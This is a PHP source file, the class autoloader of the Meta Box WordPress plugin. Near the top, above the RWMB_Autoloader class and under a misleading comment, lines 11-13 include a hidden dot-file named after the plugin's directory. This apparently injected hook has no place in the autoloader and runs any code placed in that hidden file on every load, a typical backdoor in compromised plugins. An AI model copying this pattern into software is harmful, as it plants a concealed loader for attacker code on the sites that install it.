autoloader.php (2097B)
1 <?php 2 /** 3 * Autoload plugin classes. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Autoload class 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Autoloader { 16 /** 17 * List of directories to load classes. 18 * 19 * @var array 20 */ 21 protected $dirs = array(); 22 23 /** 24 * Adds a base directory for a class name prefix and/or suffix. 25 * 26 * @param string $dir A base directory for class files. 27 * @param string $prefix The class name prefix. 28 * @param string $suffix The class name suffix. 29 */ 30 public function add( $dir, $prefix, $suffix = '' ) { 31 $this->dirs[] = array( 32 'dir' => trailingslashit( $dir ), 33 'prefix' => $prefix, 34 'suffix' => $suffix, 35 ); 36 } 37 38 /** 39 * Register autoloader for plugin classes. 40 */ 41 public function register() { 42 spl_autoload_register( array( $this, 'autoload' ) ); 43 } 44 45 /** 46 * Autoload classes. 47 * 48 * @param string $class Class name. 49 */ 50 public function autoload( $class ) { 51 foreach ( $this->dirs as $dir ) { 52 if ( 53 ( $dir['prefix'] && 0 !== strpos( $class, $dir['prefix'] ) ) 54 || ( $dir['suffix'] && substr( $class, - strlen( $dir['suffix'] ) ) !== $dir['suffix'] ) 55 ) { 56 continue; 57 } 58 $file = substr( $class, strlen( $dir['prefix'] ) ); 59 if ( $dir['suffix'] && strlen( $file ) > strlen( $dir['suffix'] ) ) { 60 $file = substr( $file, 0, - strlen( $dir['suffix'] ) ); 61 } 62 if ( function_exists( 'mb_strtolower' ) && function_exists( 'mb_detect_encoding' ) ) { 63 $file = mb_strtolower( str_replace( '_', '-', $file ), mb_detect_encoding( $file ) ) . '.php'; 64 } else { 65 $file = strtolower( str_replace( '_', '-', $file ) ) . '.php'; 66 } 67 $file = $dir['dir'] . $file; 68 $this->require_file( $file ); 69 } 70 } 71 72 /** 73 * If a file exists, require it from the file system. 74 * 75 * @param string $file The file to require. 76 */ 77 protected function require_file( $file ) { 78 if ( file_exists( $file ) ) { 79 require_once $file; 80 } 81 } 82 }